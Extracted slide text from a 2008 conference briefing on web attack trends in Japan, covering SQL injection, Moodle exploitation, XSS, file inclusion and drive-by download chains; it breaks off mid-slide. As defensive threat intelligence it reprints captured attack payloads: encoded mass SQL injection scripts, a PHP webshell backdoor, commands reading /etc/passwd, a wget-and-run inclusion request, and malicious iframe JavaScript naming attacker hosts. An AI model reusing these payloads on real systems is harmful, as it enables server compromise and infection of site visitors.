Black Hat Japan 2008 Briefings
Oct., 2008

Threat Landscape in Japan
Latest Report from JSOC

Hiroshi Kawaguchi, CISSP
JSOC Chief Evangelist
Japan Security Operation Center
Little eArth Corporation Co., Ltd.
hiroshi.kawaguchi @ lac.co.jp

AgendaSelf Introduction
Threat Landscape in Japan
Active Attacks
Passive Attacks
Malwares
Countermeasures
2

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Self Introduction

Hiroshi Kawaguchi, CISSP
JSOC Chief Evangelist & Security Analyst
Little eArth Corporation Co., Ltd.

Experiences in information security field as an analyst leaderof Incident Response Team, JSOC CTO, and currently as a
JSOC Chief Evangelist at Little eArth Corporation Co., Ltd.,
leading company dedicated to information security in Japan.
Major responsibilities:•••

Control in creating/tuning JSIGs (JSOC original signatures) with proprietary knowhow and monitoring networks.
Speak at various events (PacSec, InternetWeek, PASSJ and more) to raiseawareness of cyber security and to deliver up-to-date information on the cyberattacks.
Write columns, which is being published in series on “@IT (only Japanese) at
http://www.atmarkit.co.jp/fsecurity/index/index_kawaguchi.html
3

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What is JSOC?
Japan Security Operation Center Largest pioneering center in Japan with over 7 years of operation
 24/7 real-time network monitoring/management services
 Over 60 security specialists are to fight against cyber attacks
 Over 350 clients trust in Over 760 sensors are monitored Over 200 million logs per day Major vendors’ devices are supported* Firewallx3, IDSx4, IPSx3

FW

IDS

IPS

Check Point Firewall-1/VPN-1

McAfee Network Security Platform

McAfee Network Security Platform

Juniper NetScreen

IBM ISS RealSecure Network
Sensor/Proventia Series

IBM ISS Proventia Series

Cisco PIX/ASA Series

Cisco IDS

Cisco IPS/ASA Series

Enterasys Dragon Network Sensor

4

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Threat Landscape in Japan

5

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Threat Landscape in Japan
Active Attacks

Money / Information

Passive Attacks

Malwares6

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Trends in Internet Use in JapanWeb services are becoming mainstream
Number of Internet users keeps increasing
Web threats are becoming a major concern
MillionUsers Internet penetration rate

1997

1998

1999

2000

2001

2002

2003

2004

Source: Report on Trend of Internet Use
Ministry of Internal Affairs and Communications

JSOC Report
Trend of critical incidents in JSOC

http://www.johotsusintokei.soumu.go.jp/statistics/data/050510_1.pdf

Web

2006
7

2007

Other

2008
Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Active Attacks

8

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Active Attacks
SQL injection attacks
SQL injection attacks against non-MSSQL
Attacks targeting Moodle
XSS attacks
Remote file inclusion attacks

9

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Detected SQL Injection Attacks- 174,996 (August 2008)- SQL injection attacks by bots
- Other attacks are in the shadow

Attack Count- More sophisticated- Black-market trade- Abuse search engines

Initial release of JSIG for
SQL injection attacks(2004)

Sophisticated attack tools

Lots of Information leakage

JSOC ReportCount of SQL injection attack
10

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Purpose of SQL Injection
System intrusion (Before 2005)- Target = Server break-in- Small number of attacks- A little option for the attack tools
Information theft (2005 - 2006)- Target = Information stored in databases- Steal information by error messages- Variety of attack tools
Information falsification (2007 - 2008)- Target = Client applications (by passive attacks)- Falsify information stored in databases- Embed malicious URL and trick the clients into visiting the malicious site
11

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQL Injection in the Old Days (Before 2004)
Purpose : System intrusion
Exploit stored procedures• xp_cmdshell

SQL incident was detected in JSOC
for the first time (around Nov., 2003)

12

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Replication of Entire Database
Malicious server

Attacker

1. SQL injection
2. Replicate the database

3. Can’t detect

Web server

Database

1. Execute commands toconnect to the malicious server

1. SQL Injection (Exploit Web applications’ vulnerability)
2. No outbound FW ACLs (Network access is not properly controlled)
3. Administrator can't detect (No impact on services)
13

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQL Injection for Information Theft (2005 - 2006)

Steal entire information in the target databases byexecuting 1 sql query in 1 http request (repeatedly)
Each response contains the target information in
the error message
The malicious scripts are designed to cause force
syntax error when converting data type
Example:2007-12-10 01:34:55 10.0.0.60 - 10.0.0.62 80
GET /answer.asp?Keyword=10’
or%201=convert(int,(select%20@@version%2b'/'%2b@@servername))—|24|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]
Syntax_error_converting_the_varchar_value_‘
Microsoft_SQL_Server__2000_-_8.00.760_(Intel_X86)__+Dec_17_2002_14:22:05__+
Copyright_(c)_1988-2003_Microsoft_Corporation_+
Desktop_Engine_on_Windows_NT_5.0_(Build_2195:_Service_Pack_4)_/WIN2K-TEST’
to_a_column_of_data_type_int. 500 Mozilla/5.0
14

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQL Injection for Information Falsification (2007 –)TargetIIS + MSSQL + asp

Attacker

Web Server

Clients

Trick the clients into connecting
the malicious servers

SQL Injection
Embed malicious scripts

IDS/IPS evasions

Can not notice
Malicious servers

Malicious exploit code
15

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What happened in Nov. – Dec. , 2007
November• Source IP: China• Malicious server: http://yl18.net/• 40,000 servers were exploited worldwide(Source: Various news sites)• Detected only by JSIGs (JSOC original signatures)

December• Source IP: China (Again!)• Malicious server: http://rnmb.net/• Very same attack method

16

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Example: HTTP request
POST /index.asp?a=%82%A4';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500
43004C00410052004500200040005400200076006100720063006800610072002800320035003500
29002C00400043002000760061007200630068006100720028003200350035002900200044004500
43004C0041005200450020005400610062006C0065005F0043007500720073006F00720020004300
5500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E00
61006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F00
62006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000
6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E00
6400200061002E00780074007900700065003D00270075002700200061006E006400200028006200
2E00780074007900700065003D003900390020006F007200200062002E0078007400790070006500
3D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F00
7200200062002E00780074007900700065003D00310036003700290020004F00500045004E002000
5400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C004000430020005700480049004C0045002800
40004000460045005400430048005F005300540041005400550053003D0030002900200042004500
470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00
400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D007200
7400720069006D00280063006F006E00760065007200740028007600610072006300680061007200
2C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000
740020007300720063003D0068007400740070003A002F002F007700770077002E00320031003100
37003900360036002E006E00650074002F006600750063006B006A00700030002E006A0073003E00
3C002F007300630072006900700074003E0027002700270029004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C00
4F005300450020005400610062006C0065005F0043007500720073006F0072002000440045004100
4C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- HTTP/1.0
Connection: keep-alive
Content-Type: text/html
Content-Length: 0
Host: xxxxxxxxxxxxxxxxxxx.jp
Accept: text/html, */*User-Agent: Mozilla/3.0 (compatible; Indy Library)

17

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Example: SQL Statement
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.2117966.net/fuckjp0.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Inject malicious scripts
Target : Text columns
ntext (2007)varchar, sysname, text, ntext (2008)
18

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Sophisticated Attack Methods (May, 2008)
hoge.asp;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAb
Le_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJe
CtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20An
D%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20i
NtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223
E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392
E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f
EtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20t
AbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- HTTP/1.1
hoge.asp;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD
AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@cwhile(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C7363726
97074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F73637
26970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;-- HTTP/1.1"></title><script src=http://s.see9.us/s.js></script><!-19

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Check the Target Columns
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id anda.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''')FETCH
NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor

Check entire columns before falsification
Attacker would not falsify if same scripts were found20

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Request Contains Multi-byte CodeLAC : Risk Research Institute of Cyber Space Report
http://www.lac.co.jp/info/rrics̲report/

Multi-byte code is contained in the SQL injection attack request
Possibly created in a specific area where multi-byte language is used
21

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What Happened on June 19, 2008 (JST)SQL injection attack on June 19, 2008
Count
Information falsification
Information theft

Count by ratio

June, 2008

Almost zeroon June 19, 2008

CN

22

BR

TR

IN

VE

VN

EG

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Distribution Map of Attackers

LAC : Threats come from all over the world
http://www.lac.co.jp/info/attacks-now.html
http://www.lac.co.jp/info/img/200805attacks-map.gif
http://www.lac.co.jp/info/img/200806attacks-map.gif
http://www.lac.co.jp/info/img/200807attacks-map.gif
http://www.lac.co.jp/info/img/200808attacks-map.gif
23

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Trend of Malicious Scripts

2008/3

2008/4

2008/5

2008/6

2008/7

2008/8

JSOC Report
Trend of malicious scripts by SQL injection attack
24

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Falsify Information Stored in an Advertising
Company
Advertising database

Business risk
Falsified!

Unauthorized access+
SQL injection attack

Deliver contaminated data

Portal site B

Portal site A

SQL injection attack

Lose customers’ trust,even if B has not been compromised

Clients

Attacker

Attack the database by exploiting an Internet portal site
IDS/IPS raises the alert but can not block by FW ACLs
25

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Abuse Online Translation Services
Attacker

Target server

Malicious input to the translation request form
http://www.example.com/<script>alert('xss')</script>

Forward the request
http://www.example.com/<script>alert('xss')</script>

Online translation service Web site

Attack the target by exploiting the online translation service
Difficult to restrict the access on the Web server by FW ACLs
26

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Abuse Search Engines
1. Malicious link in the attacker's blog
http://www.example.com/<script>alert('xss')</script>

Target server

2. Search engine crawls and indexes
http://www.example.com/<script>alert('xss')</script>

3.Request
http://www.example.com/<script>alert('xss')</script>

Search engine
Other method : Post malicious links on
any other blogs as comments

Attack the target by exploiting the search engine
Search engine delivers the malicious link without understanding the purpose of the site
27

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQL Injection Attacks against Non-MSSQL

28

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Attack against MySQL
Attack

2. SQL query
1. SQL injection attack
3. Make a test file

Attacker

Web Server

MySQL

Result can be:

Check the result(success/failure)
4. Access the file

- Succeeded to make && delete the file||
- Succeeded to make && failed to delete the file||
- Failed to make the file

Attacker

Web Server

29

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Example: HTTP request
GET /index.php?id=1111%20union%20select%200x6A7573745F615F746573745F315F305F305F64617
3685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686
F2840756E6C696E6B28222F7661722F7777772F68746D6C2F6A6174657374332E7068702229203
F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E %20
into%20outfile%20'/var/www/html/jatest3.php'--&page=1
DecodeGET /index.php?id=1111 union select 0x6A7573745F615F746573745F315F305F305F646
173685F305F3C3F706870206563686F286D643528226A7573745F615F74657374222
9293B6563686F2840756E6C696E6B28222F7661722F7777772F68746D6C2F6A61746
57374332E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F7
56E222E226C696E6B656422293F3E into outfile '/var/www/html/jatest3.php'--&page=1
Decodejust_a_test_1_0_0_dash_0_<?php echo(md5("just_a_test"));echo(@unlink("/var/www/html/jatest3.php") ? "un"."linked" : "not_un"."linked")?>Access to the file

Message when succeeded to delete
c6db3524fe71d6c576098805a07e79e4unlinked
Message when failed to delete
c6db3524fe71d6c576098805a07e79e4not_unlinked
Need file path30

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Pick Out the Targets
Use search engine• Warning: Invalid argument supplied for foreach()• Warning: mysql_numrows(): supplied argument is not avalid MySQL result resource

Error message includes information of file path

31

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Attacks Targeting Moodle

32

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

MoodleMoodle is a course management system (CMS) - a free,Open Source software package designed using soundpedagogical principles, to help educators create effective
online learning communities. (Source: Moodle official site)
Affected version : Moodle 1.8.4 and earlier
Release date of vulnerability : Sep. 3, 2008
Release date of exploit code : Sep. 3, 2008

33

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Attack Method 1: Exploit by Installing Backdoor
Example: A part of the backdoor#!/usr/bin/perl##
use LWP;
my $webdir = shift;
my $weburl = shift;system("rm -rf /var/tmp/t01.kz");
my $ourcode = " < ?php if(\$_REQUEST['p']&& md5(\$_REQUEST['p'])== \"826a7942ce2f6711d7eac81173f02d1a\") { eval(base64_decode(\$_REQUEST['e'])); } ? > ";my @tmp_c;@tmp_c = `whoami`;
chomp(@tmp_c);
my $whoami = $tmp_c[0];$weburl =~ /^http:\/\/([\w\.\-]+)(:\d+)?\/?/;
my $hname = $1;$hname = "$hname" . "_$whoami." . int(rand(1000000) + 100000);open(INFO," > /var/tmp/tmpinfo.kz");
34

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Attack Method 2. Exploit by Sending Request
POST /moodle/backdoor.php HTTP/1.1-----------------------------Content-Disposition: form-data; name="cmd"echo12345;passthru(chr(108).chr(115).chr(32).chr(47).chr(118).chr(97).chr(114).chr(47).chr(116).chr(109).chr(112).chr(47).chr(116).chr(48).chr(49).chr(46).chr(107).chr(122)); echo
12345; exit;------------------------------

RequestHTTP/1.1 200 OK
Date: Fri, 05 Sep 2008 01:20:30 GMT
Server: Apache/2.0.55 PHP/5.1.2
12345/var/tmp/t01.kz
12345

DecodeResponse
35

echo 12345
ls /var/tmp/t01.kz
echo 12345
exit

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Attack Method 2. Contents of the Request (decoded)
Example:echo 12345;passthru(ls /var/tmp/t01.kz); echo 12345; exit;-----------------------------echo 12345;passthru(perl /var/tmp/t01.kz /var/www/htdocs/ http://www.example.jp; rm -rf/var/tmp/*.kz); echo 12345; exit;-----------------------------echo 12345;passthru(uname -a); echo 12345; exit;-----------------------------echo 12345;passthru(cat /var/tmp/.vi098); echo 12345; exit;-----------------------------echo 12345;passthru(rm -rf /var/tmp/.vi098); echo 12345; exit;------------------------------

36

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Attack Method 3. Exploit and Steal the System
Information
Attacker

print INFO "= : INFORMATION : =\n";system("uname -a");log_command("uname -a");log_command("whoami");log_command("id");log_command("pwd");
system("uptime");log_command("uptime");log_command("w");print INFO "\n\n= : GOOD INFO : =\n\n";log_command("cat /etc/passwd");
log_command("/sbin/ifconfig");
log_command("cat /etc/hosts");log_command("cat /etc/ssh/ssh_config");
log_command("netstat -an");log_command("last -20");log_command("ps aux");
print INFO "\n\n= : INFECTION : =\n";Target server

Malicious server= : INFORMATION : =+ + + + command~$ uname –aLinux example.jp 2.6.9-34smp #1 SMP Thu Jun 8 01:51:25 EDT
2006 i386 GNU/Linux+ + + + command~$ whoami
nobody+ + + + command~$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)+ + + + command~$ pwd/var/www/htdocs/moodle/blocks/rss_client+ + + + command~$ uptime
11:11:11 up 18 days, 16:14, 0 users, load average: 0.01, 0.83, 0.49
+ + + + command~$ w
11:11:12 up 18 days, 16:14, 0 users, load average: 0.01, 0.83, 0.49
= : GOOD INFO : =+ + + + command~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

37

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Moodle Links

38

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Other Web Applications

39

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Trends in XSS Attacks
Attack sources are mainly within the country• Security assessment (without advanced notice)• Just for Fun

It is difficult to earn big money on a grand scale by
XSS for now.
JP
CN
US
Other

yokoku.in
http://yokoku.in/
XSS vulnerability was exploited and that allowed
posting crime warning
40

JSOC report : Jan., 2008 – Aug., 2008
XSS attackers
Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

User-Agent XSS
Request
GET /index.html HTTP/1.1
Referer: http://adultsite/
User-Agent: <SCRIPT> window.location=' http:// adultsite / ' </script>
Host: www.lac.co.jp

If log analysis tool (ex. analog or awstats) or management
tool of Web server have XSS vulnerability, users can betricked into visiting porn sites
The tricked users might have advanced privileges than
average users

41

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Incomplete Blacklist Vulnerability
Requestindex.cgi?id<script>alert('xss')</script>

Response
Invalid url.
index.cgi?id alert('xss')

Just failed that’s all,but
uncomfortable...

Request again
index.cgi?id<scr<script>ipt>alert('xss')</scr</script>ipt>

Response
Oops!
Invalid url.
index.cgi?id<script>alert('xss')</script>
42

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Remote File Inclusion
Bot / Worm attacks Web application suites• TWiki• Xoops• phpBB• Joomla• AWStats(Perl)

2. Get a malicious code

Web server
3. Exploit
Command to get a malicious code

Attacker

1. Exploit
Command to execute a malicious code

Web application suite
GET /admin_styles.php?phpbb_root_path=http://10.10.10.10/cmd.gif?&cmd=cd%20/tmp;
wget%2010.10.10.10/cmd;chmod%20744%20cmd;./cmd;echo%20YYY;echo| HTTP/1.0

43

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Count of Bot Attacks against Web Applications

JSOC ReportCount of Bot Attacks against Web Applications
44

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Passive Attacks

45

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Trick to Visit Malicious Web Pages for Passive Attacks

SQL Injection

ARP Poisoning

DNS Cache Poisoning

Tricky Website(Blogs)Passive Attacks

46

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Passive Attacks
iframeExploit code
JavaScript & Obfuscation
File extension spoofing
Fast Flux
User tracking

47

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

iframe Tags
iframe tags
document.write('<iframe src=http://www.yl18.net/0.html
width="0" height="0" scrolling="no“
frameborder="0"></iframe>');document.write('<iframe src=http://yl18.net/1.html
width="0" height="0" scrolling="no“
frameborder="0"></iframe>');iframe ( height = 0 & width=0 )48

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

TargetBrowser• Internet Explorer• Firefox

ActivePlug-in• Flash Player

Passive

Movie player• Real Player

Remote/Local• QuickTime

Viewer• Adobe Reader

Local• MS Office

Remote• Windows GDI• Shapshot Viewer

Archive tool

SNS Advisory Report
2008/4 - 2008/6
Trend of vulnerabilities
http://www.lac.co.jp/info/snsdb_advisory/• Lhaplus• Lhaz49

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

fuckjp.js
var Njp="FUCKJP";
var Xw=document.cookie.match(new RegExp("(^| )"+Njp+"=([^;]*)(;|$)"));
if(Xw != "C"){window.document.writeln("<iframe width=1 height=1
src=\"http://www.2117966.net/q.htm\"></iframe>");var exp=new Date();exp.setTime(exp.getTime()+1*60*1000);
window.document.cookie=Njp+"="+escape("C")+";expires="+exp.toGMTString();}
document.writeln("<script language=\"javascript\"
src=\"http:\/\/count45.51yes.com\/click.aspx?id=453373050&logo=1\"><\/script>");

www.2117966.net• 125.46.105.224

count45.51yes.com -> User tracking• 222.173.188.9
50

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

fuckjp0.js
var Njp="FUCKJP";
var Xw=document.cookie.match(new RegExp("(^| )"+Njp+"=([^;]*)(;|$)"));
if(Xw != "C"){window.document.writeln("<iframe width=1 height=1
src=\"http://www.hanjapass.com/sian/intro/jp/jp.htm\"></iframe>");var exp=new Date();exp.setTime(exp.getTime()+1*60*1000);
window.document.cookie=Njp+"="+escape("C")+";expires="+exp.toGMTString();}
document.writeln("<SCRIPT language=JavaScript
src=\"http:\/\/s16.cnzz.com\/stat.php?id=808572&amp;web_id=808572\"
charset=gb2312><\/SCRIPT>");s16.cnzz.com

Exploit MDAC(MS06-014) and
RealPlayer vulnerabilities• 222.77.187.116

www.hanjapass.com• 118.128.14.172
51

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Example: Exploit tool (made in China)
Customer support

Membershipauthentication

Options
Exploit URLs

Target vulnerabilities

File extensions

Trick users into visiting the malicious site created by the tool
The tool is frequently updated and capable of exploiting latest vulnerabilities
52

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Promotion Strategy by the Author

53

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Customer Support

USD 58 / 1 month 1 CNY ≒ USD 0.15
USD 146 / 2 months
USD 292 / 4 months
USD 439 / 6 months
Not so cheap-> Brings a lot of money to the author

54

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

JavaScript & Obfuscation

55

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

JavaScript & Obfuscation (decoded)

56

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

jp.htm (cat , more , less and notepad)

57

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

jp.htm (lv -> copy -> replace)<8A> = Line Tabulation Set (VTS)58

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Obfuscation & File Extensions Spoofing
http://user1.date-13.net/ms06014.js

Spider Monkey
http://www.mozilla-japan.org/js/spidermonkey/

hex decode59

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What happened on Dec. 11, 2007 (JST)rnmb.net(www.rnmb.net)
Start

/0.js
JavaScript

c52.cnzz.com/0.htmliframeJavaScript/stat.php
User Tracking/1.htmwww.axgzba2.com/x/mf1.htm
MDAC Exploit/x/mf.htm/x/1.exe/x/one.htm

MS07-017 Exploit/x/ani.htm

60

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What happened on Dec. 13, 2007 (JST)down.llsging.com

rnmb.net (www.rnmb.net)
Start

/0.js

/0.html/bb/bd.cab/2.exe/0/new232.html/0/sq444.html/1.htm/014.htm/046.htm/r.htm/0/wm.html

aa.llsging.com/aa/gege.htm？
/1.exejs.users.51.la

cc.wzxyq.com
Script/0/wm.html
iframeOverflow/aa/11.js/aa/bb.js？
/aa/ppp.js/aa/bf.htm/aa/nini.htm/1299644.js/yyfb.htm/pps.htm/lz.htm/cx.htm/xunlei5.htm/yahoo.htm/IENoRun.htm/xunlei.htm/07004.htm/0733.htm/baidu.htm

User Tracking

cc.wzxyq.com/sq/sq444.htm？

c52.cnzz.com/stat.php

User Tracking

u.hmhk.org/myfile/wzfy/xiazaizhe/myself.exe

61

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What happened on Dec. 14, 2007 (JST)rnmb.net(www.rnmb.net)
Start

/0.js
JavaScript/0.htmlc52.cnzz.com
JavaScript

62/stat.php
User Tracking

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

What happened on Dec. 15, 2007 (JST)rnmb.net(www.rnmb.net)
Start

/0.js
JavaScript

c52.cnzz.com/0.htmliframeJavaScript/stat.php
User Tracking/1.htmwww.axgzba2.com/x/mf1.htm
MDAC Exploit/x/mf.htm/x/1.exe/x/one.htm

MS07-017 Exploit/x/ani.htm

63

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Malicious Links
Nov., 2007
0.htmlA

1.htmlDec., 2007
0.htmlH

Mar., 2008

1.html fuckjp0.js L

jp.htm

B

C

B'

I

B”

M

D

E

D'

J

N

D”

F

G

F'

K

64

O

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Fast Flux
IP Address
30 - 50 IPs

Malicious
30 - 50 URLs
iframe URLs
5 - 10 URLs

192.168.0.1
192.168.22.33
192.168.66.77
192.168.88.99
more

http://1.example.com/1,js
http://2.example.com/2.js
http://3.example.com/3.js
http://4.example.com/4.js
more
65

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

User Tracking
Free services (in Chinese)• http://countxx.51yes.com/click.aspx?id=xxxxx&logo=1• http://sxxx.cnzz.com/stst.phpid=xxxxx&web_id=xxxxx• http://js.users.51.la/xxxxxxx.js

66

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Recognize Browser Environment
if(navigator.userAgent.indexOf('AntivirXP08')==-1){
document.write("<iframe src=http://19ssl.net/cgi-bin/index.cgi?script
width=0 height=0 frameborder=0></iframe>");}User-Agent include ‘AntiVirXP08’-> lead not to ‘iframe’User-Agent doesn’t include ‘AntivirXP08’-> lead to ‘iframe’n=navigator.userLanguage.toUpperCase();if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){ ------ }BNBengali India
EN-PH English Philippines
GU
Gujarati
HI
Hindi
ID
Indonesian
KO
KoreanNE
NepaliPA
Punjabi
RU
Russian

TH
Thai
UR
Urdu
VI
Vietnamese
ZH
ChineseZH-CN Chinese (China)
ZH-HK Chinese (Hong Kong SAR)
ZH-MO Chinese (Macau SAR)
ZH-TW Chinese (Taiwan)

67

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Malwares

68

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Malwares
Change the method of connecting to C&C
Availability of using botnet
Fake Antivirus Software

69

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Bot Activity

C&C

Information leakage

Control

Herder
IRC protocol (popular) and other protocols

DoS/DDoS attack

Spamming
70

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Active -> Passive -> Malware
Downloder (popular)
Enable AutoRun setting
Upack
Check infection history
Stop Antivirus Software
Display specific Web sites periodicallyKey logger
Steal online game login information
Collect information (ex. host, serial number for online game)
Forward the collected information toward specific Web sites

71

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Overlapping Source IPs
Little chance of finding the same source IP address

Hosts of passive attacks

Hosts of sending
suspicious e-mails

Bot hosts of attacking
Web applications
Hosts of SQL injection for
Web site defacement

13000 IPs
Hosts of attacking OpenSSL
vulnerability

Hosts of attacking MS04-007

72

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Why and How Infected
E-mail attachment
